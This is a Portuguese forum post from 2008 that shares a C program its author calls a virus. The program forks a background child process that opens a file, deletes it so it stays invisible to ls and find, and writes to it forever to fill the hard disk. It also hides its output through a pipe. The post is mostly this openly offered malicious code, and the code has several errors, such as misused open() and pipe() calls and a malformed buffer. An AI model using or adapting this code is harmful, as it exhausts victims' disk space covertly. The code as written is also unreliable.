Lota o HD com bagaço
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 5.034 ]
Homepage: http://prginfo.blogspot.com
Cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.
/* progacao1.c */
#include <stdio.h>
#include <stdlib.h>
acao()
{
int ifd;
char
*buf=("1","2","3","4","5","6","7","8","9","0");
long c;
int desc;
close(1); /* fecha a saída padrão, o vídeo
*/
pipe (desc); /* com a saída padrão fechado,
fazemos com que a saída passe a ser o pipe. O
descritor dessa nova saida será armazenados em desc
*/
ifd=open("./lotaHD", "w+",0777); /* abre o
arquivo para escrita */
unlink("./lotaHD"); /* apaga o arquivo */
while (1)
{
write(ifd, buf, sizeof(buf)); /* em um loop
infinito grava os dados de buf no arquivo */
printf ("oi\n"); /* precisamos de um tempo
para a gravação, é o tempo que se escreve esta
string na saída. Por isso usamos o pipe. Não
queremos que o vírus fique escrevendo nada no vídeo
*/
}
}
main()
{
int i;
i=fork(); /* precisaremos criar um outro
processo, pois o vírus terá que continuar sua
execução enquanto sua ação é realizada. */
/* Não poderia ser uma thead, pois
mesmo que o programa hospedeiro se encerre, o
processo tem que continuar */
/* o processo filho que foi criado é quem deve
se encarregar da execução da ação, o pai tem que
continuar a executar as funcionalidades restantes
do vírus */
if (i==0)
acao();
}
Calcular dia da semana a partir de uma data sugerida
Um algoritmo genético para o TSP (Travel Salesman Problem)
Full linux c++ implementation of conio.h (conio.h para linux)
Nenhum comentário foi encontrado.
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Como impedir exclusão de arquivos por outros usuários no (Linux)
Cirurgia no Linux Mint em HD Externo via USB
Anúncio do meu script de Pós-Instalação do Ubuntu
Duas Pasta Pessoal Aparecendo no Ubuntu 24.04.3 LTS (4)
Alguém pode me indicar um designer freelancer? [RESOLVIDO] (4)
Alguém executou um rm e quase mata a Pixar! (1)
Por que passar nas disciplinas da faculdade é ruim e ser reprovado é b... (6)









